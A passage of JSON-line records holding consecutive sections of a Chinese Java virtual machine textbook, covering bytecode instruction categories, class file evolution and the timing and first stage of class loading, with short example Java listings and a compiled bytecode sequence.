    {"text": "6.4 字节码指令简介 Java虚拟机的指令由一个字节长度的、代表着某种特定操作含义的数字（称为操作码，Opcode）以及跟随其后的零至多个代表此操作所需的参数（称为操作数，Operand）构成。由于Java虚拟机采用面向操作数栈而不是面向寄存器的架构（这两种架构的执行过程、区别和影响将在第8章中探讨），所以大多数指令都不包含操作数，只有一个操作码，指令参数都存放在操作数栈中。 字节码指令集可算是一种具有鲜明特点、优势和劣势均很突出的指令集架构，由于限制了Java虚拟机操作码的长度为一个字节（即0～255），这意味着指令集的操作码总数不能够超过256条；又由于Class文件格式放弃了编译后代码的操作数长度对齐，这就意味着虚拟机在处理那些超过一个字节的数据时，不得不在运行时从字节中重建出具体数据的结构，譬如要将一个16位长度的无符号整数使用两个无符号字节存储起来（假设将它们命名为byte1和byte2），那它们的值应该是这样的： (byte1 << 8) | byte2 这种操作在某种程度上会导致解释执行字节码时将损失一些性能，但这样做的优势也同样明显：放弃了操作数长度对齐 [1] ，就意味着可以省略掉大量的填充和间隔符号；用一个字节来代表操作码，也是为了尽可能获得短小精干的编译代码。这种追求尽可能小数据量、高传输效率的设计是由Java语言设计之初主要面向网络、智能家电的技术背景所决定的，并一直沿用至今。 如果不考虑异常处理的话，那Java虚拟机的解释器可以使用下面这段伪代码作为最基本的执行模型来理解，这个执行模型虽然很简单，但依然可以有效正确地工作： do { 自动计算PC寄存器的值加1; 根据PC寄存器指示的位置，从字节码流中取出操作码; if (字节码存在操作数) 从字节码流中取出操作数; 执行操作码所定义的操作; } while (字节码流长度 > 0); [1] 字节码指令流基本上都是单字节对齐的，只有“tableswitch”和“lookupswitch”两条指令例外，由于它们的操作数比较特殊，是以4字节为界划分开的，所以这两条指令也需要预留出相应的空位填充来实现对齐。 6.4.1 字节码与数据类型 在Java虚拟机的指令集中，大多数指令都包含其操作所对应的数据类型信息。举个例子，iload指令用于从局部变量表中加载int型的数据到操作数栈中，而fload指令加载的则是float类型的数据。这两条指令的操作在虚拟机内部可能会是由同一段代码来实现的，但在Class文件中它们必须拥有各自独立的操作码。 对于大部分与数据类型相关的字节码指令，它们的操作码助记符中都有特殊的字符来表明专门为哪种数据类型服务：i代表对int类型的数据操作，l代表long，s代表short，b代表byte，c代表char，f代表float，d代表double，a代表reference。也有一些指令的助记符中没有明确指明操作类型的字母，例如arraylength指令，它没有代表数据类型的特殊字符，但操作数永远只能是一个数组类型的对象。还有另外一些指令，例如无条件跳转指令goto则是与数据类型无关的指令。 因为Java虚拟机的操作码长度只有一字节，所以包含了数据类型的操作码就为指令集的设计带来了很大的压力：如果每一种与数据类型相关的指令都支持Java虚拟机所有运行时数据类型的话，那么指令的数量恐怕就会超出一字节所能表示的数量范围了。因此，Java虚拟机的指令集对于特定的操作只提供了有限的类型相关指令去支持它，换句话说，指令集将会被故意设计成非完全独立的。（《Java虚拟机规范》中把这种特性称为“Not Orthogonal”，即并非每种数据类型和每一种操作都有对应的指令。）有一些单独的指令可以在必要的时候用来将一些不支持的类型转换为可被支持的类型。 表6-40列举了Java虚拟机所支持的与数据类型相关的字节码指令，通过使用数据类型列所代表的特殊字符替换opcode列的指令模板中的T，就可以得到一个具体的字节码指令。如果在表中指令模板与数据类型两列共同确定的格为空，则说明虚拟机不支持对这种数据类型执行这项操作。例如load指令有操作int类型的iload，但是没有操作byte类型的同类指令。 表6-40 Java虚拟机指令集所支持的数据类型 请注意，从表6-40中看来，大部分指令都没有支持整数类型byte、char和short，甚至没有任何指令支持boolean类型。编译器会在编译期或运行期将byte和short类型的数据带符号扩展（Sign-Extend）为相应的int类型数据，将boolean和char类型数据零位扩展（Zero-Extend）为相应的int类型数据。与之类似，在处理boolean、byte、short和char类型的数组时，也会转换为使用对应的int类型的字节码指令来处理。因此，大多数对于boolean、byte、short和char类型数据的操作，实际上都是使用相应的对int类型作为运算类型（Computational Type）来进行的。 在本书里，受篇幅所限，无法对字节码指令集中每条指令逐一讲解，但阅读字节码作为了解Java虚拟机的基础技能，是一项应当熟练掌握的能力。笔者将字节码操作按用途大致分为9类，下面按照分类来为读者概略介绍这些指令的用法。如果读者希望了解更详细的信息，可以阅读由Oracle官方授权、由笔者翻译的《Java虚拟机规范（Java SE 7）》中文版（字节码的介绍可见此书第6章）。"},
    {"text": "6.4.2 加载和存储指令 加载和存储指令用于将数据在栈帧中的局部变量表和操作数栈（见第2章关于内存区域的介绍）之间来回传输，这类指令包括： ·将一个局部变量加载到操作栈：iload、iload_<n>、lload、lload_<n>、fload、fload_<n>、dload、dload_<n>、aload、aload_<n> ·将一个数值从操作数栈存储到局部变量表：istore、istore_<n>、lstore、lstore_<n>、fstore、fstore_<n>、dstore、dstore_<n>、astore、astore_<n> ·将一个常量加载到操作数栈：bipush、sipush、ldc、ldc_w、ldc2_w、aconst_null、iconst_m1、iconst_<i>、lconst_<l>、fconst_<f>、dconst_<d> ·扩充局部变量表的访问索引的指令：wide 存储数据的操作数栈和局部变量表主要由加载和存储指令进行操作，除此之外，还有少量指令，如访问对象的字段或数组元素的指令也会向操作数栈传输数据。 上面所列举的指令助记符中，有一部分是以尖括号结尾的（例如iload_<n>），这些指令助记符实际上代表了一组指令（例如iload_<n>，它代表了iload_0、iload_1、iload_2和iload_3这几条指令）。这几组指令都是某个带有一个操作数的通用指令（例如iload）的特殊形式，对于这几组特殊指令，它们省略掉了显式的操作数，不需要进行取操作数的动作，因为实际上操作数就隐含在指令中。除了这点不同以外，它们的语义与原生的通用指令是完全一致的（例如iload_0的语义与操作数为0时的iload指令语义完全一致）。这种指令表示方法，在本书和《Java虚拟机规范》中都是通用的。 6.4.3 运算指令 算术指令用于对两个操作数栈上的值进行某种特定运算，并把结果重新存入到操作栈顶。大体上运算指令可以分为两种：对整型数据进行运算的指令与对浮点型数据进行运算的指令。整数与浮点数的算术指令在溢出和被零除的时候也有各自不同的行为表现。无论是哪种算术指令，均是使用Java虚拟机的算术类型来进行计算的，换句话说是不存在直接支持byte、short、char和boolean类型的算术指令，对于上述几种数据的运算，应使用操作int类型的指令代替。所有的算术指令包括： ·加法指令：iadd、ladd、fadd、dadd ·减法指令：isub、lsub、fsub、dsub ·乘法指令：imul、lmul、fmul、dmul ·除法指令：idiv、ldiv、fdiv、ddiv ·求余指令：irem、lrem、frem、drem ·取反指令：ineg、lneg、fneg、dneg ·位移指令：ishl、ishr、iushr、lshl、lshr、lushr ·按位或指令：ior、lor ·按位与指令：iand、land ·按位异或指令：ixor、lxor ·局部变量自增指令：iinc ·比较指令：dcmpg、dcmpl、fcmpg、fcmpl、lcmp Java虚拟机的指令集直接支持了在《Java语言规范》中描述的各种对整数及浮点数操作（详情参见《Java语言规范》4.2.2节和4.2.4节）的语义。数据运算可能会导致溢出，例如两个很大的正整数相加，结果可能会是一个负数，这种数学上不可能出现的溢出现象，对于程序员来说是很容易理解的，但其实《Java虚拟机规范》中并没有明确定义过整型数据溢出具体会得到什么计算结果，仅规定了在处理整型数据时，只有除法指令（idiv和ldiv）以及求余指令（irem和lrem）中当出现除数为零时会导致虚拟机抛出ArithmeticException异常，其余任何整型数运算场景都不应该抛出运行时异常。 《Java虚拟机规范》要求虚拟机实现在处理浮点数时，必须严格遵循IEEE 754规范中所规定行为和限制，也就是说Java虚拟机必须完全支持IEEE 754中定义的“非正规浮点数值”（Denormalized Floating-Point Number）和“逐级下溢”（Gradual Underflow）的运算规则。这些规则将会使某些数值算法处理起来变得明确，不会出现模棱两可的困境。譬如以上规则要求Java虚拟机在进行浮点数运算时，所有的运算结果都必须舍入到适当的精度，非精确的结果必须舍入为可被表示的最接近的精确值；如果有两种可表示的形式与该值一样接近，那将优先选择最低有效位为零的。这种舍入模式也是IEEE 754规范中的默认舍入模式，称为向最接近数舍入模式。而在把浮点数转换为整数时，Java虚拟机使用IEEE 754标准中的向零舍入模式，这种模式的舍入结果会导致数字被截断，所有小数部分的有效字节都会被丢弃掉。向零舍入模式将在目标数值类型中选择一个最接近，但是不大于原值的数字来作为最精确的舍入结果。 另外，Java虚拟机在处理浮点数运算时，不会抛出任何运行时异常（这里所讲的是Java语言中的异常，请读者勿与IEEE 754规范中的浮点异常互相混淆，IEEE 754的浮点异常是一种运算信号），当一个操作产生溢出时，将会使用有符号的无穷大来表示；如果某个操作结果没有明确的数学定义的话，将会使用NaN（Not a Number）值来表示。所有使用NaN值作为操作数的算术操作，结果都会返回NaN。 在对long类型数值进行比较时，Java虚拟机采用带符号的比较方式，而对浮点数值进行比较时（dcmpg、dcmpl、fcmpg、fcmpl），虚拟机会采用IEEE 754规范所定义的无信号比较（Nonsignaling Comparison）方式进行。"},
    {"text": "6.4.4 类型转换指令 类型转换指令可以将两种不同的数值类型相互转换，这些转换操作一般用于实现用户代码中的显式类型转换操作，或者用来处理本节开篇所提到的字节码指令集中数据类型相关指令无法与数据类型一一对应的问题。 Java虚拟机直接支持（即转换时无须显式的转换指令）以下数值类型的宽化类型转换（Widening Numeric Conversion，即小范围类型向大范围类型的安全转换）： ·int类型到long、float或者double类型 ·long类型到float、double类型 ·float类型到double类型 与之相对的，处理窄化类型转换（Narrowing Numeric Conversion）时，就必须显式地使用转换指令来完成，这些转换指令包括i2b、i2c、i2s、l2i、f2i、f2l、d2i、d2l和d2f。窄化类型转换可能会导致转换结果产生不同的正负号、不同的数量级的情况，转换过程很可能会导致数值的精度丢失。 在将int或long类型窄化转换为整数类型T的时候，转换过程仅仅是简单丢弃除最低位N字节以外的内容，N是类型T的数据类型长度，这将可能导致转换结果与输入值有不同的正负号。对于了解计算机数值存储和表示的程序员来说这点很容易理解，因为原来符号位处于数值的最高位，高位被丢弃之后，转换结果的符号就取决于低N字节的首位了。 Java虚拟机将一个浮点值窄化转换为整数类型T（T限于int或long类型之一）的时候，必须遵循以下转换规则： ·如果浮点值是NaN，那转换结果就是int或long类型的0。 ·如果浮点值不是无穷大的话，浮点值使用IEEE 754的向零舍入模式取整，获得整数值v。如果v在目标类型T（int或long）的表示范围之类，那转换结果就是v；否则，将根据v的符号，转换为T所能表示的最大或者最小正数。 从double类型到float类型做窄化转换的过程与IEEE 754中定义的一致，通过IEEE 754向最接近数舍入模式舍入得到一个可以使用float类型表示的数字。如果转换结果的绝对值太小、无法使用float来表示的话，将返回float类型的正负零；如果转换结果的绝对值太大、无法使用float来表示的话，将返回float类型的正负无穷大。对于double类型的NaN值将按规定转换为float类型的NaN值。 尽管数据类型窄化转换可能会发生上限溢出、下限溢出和精度丢失等情况，但是《Java虚拟机规范》中明确规定数值类型的窄化转换指令永远不可能导致虚拟机抛出运行时异常。 6.4.5 对象创建与访问指令 虽然类实例和数组都是对象，但Java虚拟机对类实例和数组的创建与操作使用了不同的字节码指令（在下一章会讲到数组和普通类的类型创建过程是不同的）。对象创建后，就可以通过对象访问指令获取对象实例或者数组实例中的字段或者数组元素，这些指令包括： ·创建类实例的指令：new ·创建数组的指令：newarray、anewarray、multianewarray ·访问类字段（static字段，或者称为类变量）和实例字段（非static字段，或者称为实例变量）的指令：getfield、putfield、getstatic、putstatic ·把一个数组元素加载到操作数栈的指令：baload、caload、saload、iaload、laload、faload、daload、aaload ·将一个操作数栈的值储存到数组元素中的指令：bastore、castore、sastore、iastore、fastore、dastore、aastore ·取数组长度的指令：arraylength ·检查类实例类型的指令：instanceof、checkcast 6.4.6 操作数栈管理指令 如同操作一个普通数据结构中的堆栈那样，Java虚拟机提供了一些用于直接操作操作数栈的指令，包括： ·将操作数栈的栈顶一个或两个元素出栈：pop、pop2 ·复制栈顶一个或两个数值并将复制值或双份的复制值重新压入栈顶：dup、dup2、dup_x1、dup2_x1、dup_x2、dup2_x2 ·将栈最顶端的两个数值互换：swap 6.4.7 控制转移指令 控制转移指令可以让Java虚拟机有条件或无条件地从指定位置指令（而不是控制转移指令）的下一条指令继续执行程序，从概念模型上理解，可以认为控制指令就是在有条件或无条件地修改PC寄存器的值。控制转移指令包括： ·条件分支：ifeq、iflt、ifle、ifne、ifgt、ifge、ifnull、ifnonnull、if_icmpeq、if_icmpne、if_icmplt、if_icmpgt、if_icmple、if_icmpge、if_acmpeq和if_acmpne ·复合条件分支：tableswitch、lookupswitch ·无条件分支：goto、goto_w、jsr、jsr_w、ret 在Java虚拟机中有专门的指令集用来处理int和reference类型的条件分支比较操作，为了可以无须明显标识一个数据的值是否null，也有专门的指令用来检测null值。 与前面算术运算的规则一致，对于boolean类型、byte类型、char类型和short类型的条件分支比较操作，都使用int类型的比较指令来完成，而对于long类型、float类型和double类型的条件分支比较操作，则会先执行相应类型的比较运算指令（dcmpg、dcmpl、fcmpg、fcmpl、lcmp，见6.4.3节），运算指令会返回一个整型值到操作数栈中，随后再执行int类型的条件分支比较操作来完成整个分支跳转。由于各种类型的比较最终都会转化为int类型的比较操作，int类型比较是否方便、完善就显得尤为重要，而Java虚拟机提供的int类型的条件分支指令是最为丰富、强大的。"},
    {"text": "6.4.8 方法调用和返回指令 方法调用（分派、执行过程）将在第8章具体讲解，这里仅列举以下五条指令用于方法调用： ·invokevirtual指令：用于调用对象的实例方法，根据对象的实际类型进行分派（虚方法分派），这也是Java语言中最常见的方法分派方式。 ·invokeinterface指令：用于调用接口方法，它会在运行时搜索一个实现了这个接口方法的对象，找出适合的方法进行调用。 ·invokespecial指令：用于调用一些需要特殊处理的实例方法，包括实例初始化方法、私有方法和父类方法。 ·invokestatic指令：用于调用类静态方法（static方法）。 ·invokedynamic指令：用于在运行时动态解析出调用点限定符所引用的方法。并执行该方法。前面四条调用指令的分派逻辑都固化在Java虚拟机内部，用户无法改变，而invokedynamic指令的分派逻辑是由用户所设定的引导方法决定的。 方法调用指令与数据类型无关，而方法返回指令是根据返回值的类型区分的，包括ireturn（当返回值是boolean、byte、char、short和int类型时使用）、lreturn、freturn、dreturn和areturn，另外还有一条return指令供声明为void的方法、实例初始化方法、类和接口的类初始化方法使用。 6.4.9 异常处理指令 在Java程序中显式抛出异常的操作（throw语句）都由athrow指令来实现，除了用throw语句显式抛出异常的情况之外，《Java虚拟机规范》还规定了许多运行时异常会在其他Java虚拟机指令检测到异常状况时自动抛出。例如前面介绍整数运算中，当除数为零时，虚拟机会在idiv或ldiv指令中抛出ArithmeticException异常。 而在Java虚拟机中，处理异常（catch语句）不是由字节码指令来实现的（很久之前曾经使用jsr和ret指令来实现，现在已经不用了），而是采用异常表来完成。 6.4.10 同步指令 Java虚拟机可以支持方法级的同步和方法内部一段指令序列的同步，这两种同步结构都是使用管程（Monitor，更常见的是直接将它称为“锁”）来实现的。 方法级的同步是隐式的，无须通过字节码指令来控制，它实现在方法调用和返回操作之中。虚拟机可以从方法常量池中的方法表结构中的ACC_SYNCHRONIZED访问标志得知一个方法是否被声明为同步方法。当方法调用时，调用指令将会检查方法的ACC_SYNCHRONIZED访问标志是否被设置，如果设置了，执行线程就要求先成功持有管程，然后才能执行方法，最后当方法完成（无论是正常完成还是非正常完成）时释放管程。在方法执行期间，执行线程持有了管程，其他任何线程都无法再获取到同一个管程。如果一个同步方法执行期间抛出了异常，并且在方法内部无法处理此异常，那这个同步方法所持有的管程将在异常抛到同步方法边界之外时自动释放。 同步一段指令集序列通常是由Java语言中的synchronized语句块来表示的，Java虚拟机的指令集中有monitorenter和monitorexit两条指令来支持synchronized关键字的语义，正确实现synchronized关键字需要Javac编译器与Java虚拟机两者共同协作支持，譬如有代码清单6-6所示的代码。 代码清单6-6 代码同步演示 void onlyMe(Foo f) { synchronized(f) { doSomething(); } } 编译后，这段代码生成的字节码序列如下： Method void onlyMe(Foo) 0 aload_1 // 将对象f入栈 1 dup // 复制栈顶元素（即f的引用） 2 astore_2 // 将栈顶元素存储到局部变量表变量槽 2中 3 monitorenter // 以栈定元素（即f）作为锁，开始同步 4 aload_0 // 将局部变量槽 0（即this指针）的元素入栈 5 invokevirtual #5 // 调用doSomething()方法 8 aload_2 // 将局部变量Slow 2的元素（即f）入栈 9 monitorexit // 退出同步 10 goto 18 // 方法正常结束，跳转到18返回 13 astore_3 // 从这步开始是异常路径，见下面异常表的Taget 13 14 aload_2 // 将局部变量Slow 2的元素（即f）入栈 15 monitorexit // 退出同步 16 aload_3 // 将局部变量Slow 3的元素（即异常对象）入栈 17 athrow // 把异常对象重新抛出给onlyMe()方法的调用者 18 return // 方法正常返回 Exception table: FromTo Target Type 4 10 13 any 13 16 13 any 编译器必须确保无论方法通过何种方式完成，方法中调用过的每条monitorenter指令都必须有其对应的monitorexit指令，而无论这个方法是正常结束还是异常结束。 从代码清单6-6的字节码序列中可以看到，为了保证在方法异常完成时monitorenter和monitorexit指令依然可以正确配对执行，编译器会自动产生一个异常处理程序，这个异常处理程序声明可处理所有的异常，它的目的就是用来执行monitorexit指令。"},
    {"text": "6.5 公有设计，私有实现 《Java虚拟机规范》描绘了Java虚拟机应有的共同程序存储格式：Class文件格式以及字节码指令集。这些内容与硬件、操作系统和具体的Java虚拟机实现之间是完全独立的，虚拟机实现者可能更愿意把它们看作程序在各种Java平台实现之间互相安全地交互的手段。 理解公有设计与私有实现之间的分界线是非常有必要的，任何一款Java虚拟机实现都必须能够读取Class文件并精确实现包含在其中的Java虚拟机代码的语义。拿着《Java虚拟机规范》一成不变地逐字实现其中要求的内容当然是一种可行的途径，但一个优秀的虚拟机实现，在满足《Java虚拟机规范》的约束下对具体实现做出修改和优化也是完全可行的，并且《Java虚拟机规范》中明确鼓励实现者这样去做。只要优化以后Class文件依然可以被正确读取，并且包含在其中的语义能得到完整保持，那实现者就可以选择以任何方式去实现这些语义，虚拟机在后台如何处理Class文件完全是实现者自己的事情，只要它在外部接口上看起来与规范描述的一致即可 [1] 。 虚拟机实现者可以使用这种伸缩性来让Java虚拟机获得更高的性能、更低的内存消耗或者更好的可移植性，选择哪种特性取决于Java虚拟机实现的目标和关注点是什么，虚拟机实现的方式主要有以下两种： ·将输入的Java虚拟机代码在加载时或执行时翻译成另一种虚拟机的指令集； ·将输入的Java虚拟机代码在加载时或执行时翻译成宿主机处理程序的本地指令集（即即时编译器代码生成技术）。 精确定义的虚拟机行为和目标文件格式，不应当对虚拟机实现者的创造性产生太多的限制，Java虚拟机是被设计成可以允许有众多不同的实现，并且各种实现可以在保持兼容性的同时提供不同的新的、有趣的解决方案。 [1] 这里其实多少存在一些例外，譬如调试器（Debugger）、性能监视器（Profiler）和即时编译器（Just-In-Time Code Generator）等都可能需要访问一些通常被认为是“虚拟机后台”的元素。 6.6 Class文件结构的发展 Class文件结构自《Java虚拟机规范》初版订立以来，已经有超过二十年的历史。这二十多年间，Java技术体系有了翻天覆地的改变，JDK的版本号已经从1.0提升到了13。相对于语言、API以及Java技术体系中其他方面的变化，Class文件结构一直处于一个相对比较稳定的状态，Class文件的主体结构、字节码指令的语义和数量几乎没有出现过变动 [1] ，所有对Class文件格式的改进，都集中在访问标志、属性表这些设计上原本就是可扩展的数据结构中添加新内容。 如果以《Java虚拟机规范（第2版）》（对应于JDK 1.4，是Java 2的奠基版本）为基准进行比较的话，在后续Class文件格式的发展过程中，访问标志新加入了ACC_SYNTHETIC、ACC_ANNOTATION、ACC_ENUM、ACC_BRIDGE、ACC_VARARGS共五个标志。属性表集合中，在JDK 5到JDK 12发展过程中一共增加了20项新属性，这些属性大部分是用于支持Java中许多新出现的语言特性，如枚举、变长参数、泛型、动态注解等。还有一些是为了支持性能改进和调试信息，譬如JDK 6的新类型校验器的StackMapTable属性和对非Java代码调试中用到的SourceDebugExtension属性。 Class文件格式所具备的平台中立（不依赖于特定硬件及操作系统）、紧凑、稳定和可扩展的特点，是Java技术体系实现平台无关、语言无关两项特性的重要支柱。 [1] 二十余年间，字节码的数量和语义只发生过屈指可数的几次变动，例如JDK 1.0.2时改动过invokespecial指令的语义，JDK 7增加了invokedynamic指令，禁止了ret和jsr指令。 6.7 本章小结 Class文件是Java虚拟机执行引擎的数据入口，也是Java技术体系的基础支柱之一。了解Class文件的结构对后面进一步了解虚拟机执行引擎有很重要的意义。 本章详细讲解了Class文件结构中的各个组成部分，以及每个部分的定义、数据结构和使用方法。通过代码清单6-1的Java代码及其Class文件样例，以实战的方式演示了Class的数据是如何存储和访问的。从下一章开始，我们将以动态的、运行时的角度去看看字节码流在虚拟机执行引擎中是如何被解释执行的。 第7章 虚拟机类加载机制 代码编译的结果从本地机器码转变为字节码，是存储格式发展的一小步，却是编程语言发展的一大步。"},
    {"text": "7.1 概述 上一章我们学习了Class文件存储格式的具体细节，在Class文件中描述的各类信息，最终都需要加载到虚拟机中之后才能被运行和使用。而虚拟机如何加载这些Class文件，Class文件中的信息进入到虚拟机后会发生什么变化，这些都是本章将要讲解的内容。 Java虚拟机把描述类的数据从Class文件加载到内存，并对数据进行校验、转换解析和初始化，最终形成可以被虚拟机直接使用的Java类型，这个过程被称作虚拟机的类加载机制。与那些在编译时需要进行连接的语言不同，在Java语言里面，类型的加载、连接和初始化过程都是在程序运行期间完成的，这种策略让Java语言进行提前编译会面临额外的困难，也会让类加载时稍微增加一些性能开销，但是却为Java应用提供了极高的扩展性和灵活性，Java天生可以动态扩展的语言特性就是依赖运行期动态加载和动态连接这个特点实现的。例如，编写一个面向接口的应用程序，可以等到运行时再指定其实际的实现类，用户可以通过Java预置的或自定义类加载器，让某个本地的应用程序在运行时从网络或其他地方上加载一个二进制流作为其程序代码的一部分。这种动态组装应用的方式目前已广泛应用于Java程序之中，从最基础的Applet、JSP到相对复杂的OSGi技术，都依赖着Java语言运行期类加载才得以诞生。 为了避免语言表达中可能产生的偏差，在正式开始本章以前，笔者先设立两个语言上的约定： 第一，在实际情况中，每个Class文件都有代表着Java语言中的一个类或接口的可能，后文中直接对“类型”的描述都同时蕴含着类和接口的可能性，而需要对类和接口分开描述的场景，笔者会特别指明； 第二，与前面介绍Class文件格式时的约定一致，本章所提到的“Class文件”也并非特指某个存在于具体磁盘中的文件，而应当是一串二进制字节流，无论其以何种形式存在，包括但不限于磁盘文件、网络、数据库、内存或者动态产生等。"},
    {"text": "7.2 类加载的时机 一个类型从被加载到虚拟机内存中开始，到卸载出内存为止，它的整个生命周期将会经历加载（Loading）、验证（Verification）、准备（Preparation）、解析（Resolution）、初始化（Initialization）、使用（Using）和卸载（Unloading）七个阶段，其中验证、准备、解析三个部分统称为连接（Linking）。"},
    {"text": "图7-1 类的生命周期 图7-1中，加载、验证、准备、初始化和卸载这五个阶段的顺序是确定的，类型的加载过程必须按照这种顺序按部就班地开始，而解析阶段则不一定：它在某些情况下可以在初始化阶段之后再开始，这是为了支持Java语言的运行时绑定特性（也称为动态绑定或晚期绑定）。"},
    {"text": "请注意，这里笔者写的是按部就班地“开始”，而不是按部就班地“进行”或按部就班地“完成”，强调这点是因为这些阶段通常都是互相交叉地混合进行的，会在一个阶段执行的过程中调用、激活另一个阶段。"},
    {"text": "关于在什么情况下需要开始类加载过程的第一个阶段“加载”，《Java虚拟机规范》中并没有进行强制约束，这点可以交给虚拟机的具体实现来自由把握。 但是对于初始化阶段，《Java虚拟机规范》则是严格规定了有且只有六种情况必须立即对类进行“初始化”（而加载、验证、准备自然需要在此之前开始）： 1）遇到new、getstatic、putstatic或invokestatic这四条字节码指令时，如果类型没有进行过初始化，则需要先触发其初始化阶段。"},
    {"text": "2）使用java.lang.reflect包的方法对类型进行反射调用的时候，如果类型没有进行过初始化，则需要先触发其初始化。 3）当初始化类的时候，如果发现其父类还没有进行过初始化，则需要先触发其父类的初始化。 4）当虚拟机启动时，用户需要指定一个要执行的主类（包含main()方法的那个类），虚拟机会先初始化这个主类。 5）当使用JDK 7新加入的动态语言支持时，如果一个java.lang.invoke.MethodHandle实例最后的解析结果为REF_getStatic、REF_putStatic、REF_invokeStatic、REF_newInvokeSpecial四种类型的方法句柄，并且这个方法句柄对应的类没有进行过初始化，则需要先触发其初始化。 6）当一个接口中定义了JDK 8新加入的默认方法（被default关键字修饰的接口方法）时，如果有这个接口的实现类发生了初始化，那该接口要在其之前被初始化。 对于这六种会触发类型进行初始化的场景，《Java虚拟机规范》中使用了一个非常强烈的限定语——“有且只有”，这六种场景中的行为称为对一个类型进行主动引用。"},
    {"text": "代码清单7-1 被动引用的例子之一 package org.fenixsoft.classloading; /** * 被动使用类字段演示一： * 通过子类引用父类的静态字段，不会导致子类初始化 **/ public class SuperClass { static { System.out.println(\"SuperClass init!\"); } public static int value = 123; } public class SubClass extends SuperClass { static { System.out.println(\"SubClass init!\"); } } /** * 非主动使用类字段演示 **/ public class NotInitialization { public static void main(String[] args) { System.out.println(SubClass.value); } } 上述代码运行之后，只会输出“SuperClass init！"},
    {"text": "对于静态字段，只有直接定义这个字段的类才会被初始化，因此通过其子类来引用父类中定义的静态字段，只会触发父类的初始化而不会触发子类的初始化。"},
    {"text": "代码清单7-2 被动引用的例子之二 package org.fenixsoft.classloading; /** * 被动使用类字段演示二： * 通过数组定义来引用类，不会触发此类的初始化 **/ public class NotInitialization { public static void main(String[] args) { SuperClass[] sca = new SuperClass[10]; } } 为了节省版面，这段代码复用了代码清单7-1中的SuperClass，运行之后发现没有输出“SuperClass init！ ”，说明并没有触发类org.fenixsoft.classloading.SuperClass的初始化阶段。 但是这段代码里面触发了另一个名为“[Lorg.fenixsoft.classloading.SuperClass”的类的初始化阶段，对于用户代码来说，这并不是一个合法的类型名称，它是一个由虚拟机自动生成的、直接继承于java.lang.Object的子类，创建动作由字节码指令newarray触发。 这个类代表了一个元素类型为org.fenixsoft.classloading.SuperClass的一维数组，数组中应有的属性和方法（用户可直接使用的只有被修饰为public的length属性和clone()方法）都实现在这个类里。"},
    {"text": "Java语言中对数组的访问要比C/C++相对安全，很大程度上就是因为这个类包装了数组元素的访问 [1] ，而C/C++中则是直接翻译为对数组指针的移动。"},
    {"text": "代码清单7-3 被动引用的例子之三 package org.fenixsoft.classloading; /** * 被动使用类字段演示三： * 常量在编译阶段会存入调用类的常量池中，本质上没有直接引用到定义常量的类，因此不会触发定义常量的 类的初始化 **/ public class ConstClass { static { System.out.println(\"ConstClass init!\"); } public static final String HELLOWORLD = \"hello world\"; } /** * 非主动使用类字段演示 **/ public class NotInitialization { public static void main(String[] args) { System.out.println(ConstClass.HELLOWORLD); } } 上述代码运行之后，也没有输出“ConstClass init！ ”，这是因为虽然在Java源码中确实引用了ConstClass类的常量HELLOWORLD，但其实在编译阶段通过常量传播优化，已经将此常量的值“hello world”直接存储在NotInitialization类的常量池中，以后NotInitialization对常量ConstClass.HELLOWORLD的引用，实际都被转化为NotInitialization类对自身常量池的引用了。 也就是说，实际上NotInitialization的Class文件之中并没有ConstClass类的符号引用入口，这两个类在编译成Class文件后就已不存在任何联系了。 接口的加载过程与类加载过程稍有不同，针对接口需要做一些特殊说明：接口也有初始化过程，这点与类是一致的，上面的代码都是用静态语句块“static{}”来输出初始化信息的，而接口中不能使用“static{}”语句块，但编译器仍然会为接口生成“<clinit>()”类构造器 [2] ，用于初始化接口中所定义的成员变量。 接口与类真正有所区别的是前面讲述的六种“有且仅有”需要触发初始化场景中的第三种：当一个类在初始化时，要求其父类全部都已经初始化过了，但是一个接口在初始化时，并不要求其父接口全部都完成了初始化，只有在真正使用到父接口的时候（如引用接口中定义的常量）才会初始化。"},
    {"text": "7.3 类加载的过程 接下来我们会详细了解Java虚拟机中类加载的全过程，即加载、验证、准备、解析和初始化这五个阶段所执行的具体动作。 7.3.1 加载 “加载”（Loading）阶段是整个“类加载”（Class Loading）过程中的一个阶段，希望读者没有混淆这两个看起来很相似的名词。在加载阶段，Java虚拟机需要完成以下三件事情： 1）通过一个类的全限定名来获取定义此类的二进制字节流。 2）将这个字节流所代表的静态存储结构转化为方法区的运行时数据结构。 3）在内存中生成一个代表这个类的java.lang.Class对象，作为方法区这个类的各种数据的访问入口。 《Java虚拟机规范》对这三点要求其实并不是特别具体，留给虚拟机实现与Java应用的灵活度都是相当大的。例如“通过一个类的全限定名来获取定义此类的二进制字节流”这条规则，它并没有指明二进制字节流必须得从某个Class文件中获取，确切地说是根本没有指明要从哪里获取、如何获取。仅仅这一点空隙，Java虚拟机的使用者们就可以在加载阶段搭构建出一个相当开放广阔的舞台，Java发展历程中，充满创造力的开发人员则在这个舞台上玩出了各种花样，许多举足轻重的Java技术都建立在这一基础之上，例如： ·从ZIP压缩包中读取，这很常见，最终成为日后JAR、EAR、WAR格式的基础。 ·从网络中获取，这种场景最典型的应用就是Web Applet。 ·运行时计算生成，这种场景使用得最多的就是动态代理技术，在java.lang.reflect.Proxy中，就是用了ProxyGenerator.generateProxyClass()来为特定接口生成形式为“*$Proxy”的代理类的二进制字节流。 ·由其他文件生成，典型场景是JSP应用，由JSP文件生成对应的Class文件。 ·从数据库中读取，这种场景相对少见些，例如有些中间件服务器（如SAP Netweaver）可以选择把程序安装到数据库中来完成程序代码在集群间的分发。 ·可以从加密文件中获取，这是典型的防Class文件被反编译的保护措施，通过加载时解密Class文件来保障程序运行逻辑不被窥探。 ·…… 相对于类加载过程的其他阶段，非数组类型的加载阶段（准确地说，是加载阶段中获取类的二进制字节流的动作）是开发人员可控性最强的阶段。加载阶段既可以使用Java虚拟机里内置的引导类加载器来完成，也可以由用户自定义的类加载器去完成，开发人员通过定义自己的类加载器去控制字节流的获取方式（重写一个类加载器的findClass()或loadClass()方法），实现根据自己的想法来赋予应用程序获取运行代码的动态性。 对于数组类而言，情况就有所不同，数组类本身不通过类加载器创建，它是由Java虚拟机直接在内存中动态构造出来的。但数组类与类加载器仍然有很密切的关系，因为数组类的元素类型（Element Type，指的是数组去掉所有维度的类型）最终还是要靠类加载器来完成加载，一个数组类（下面简称为C）创建过程遵循以下规则： ·如果数组的组件类型（Component 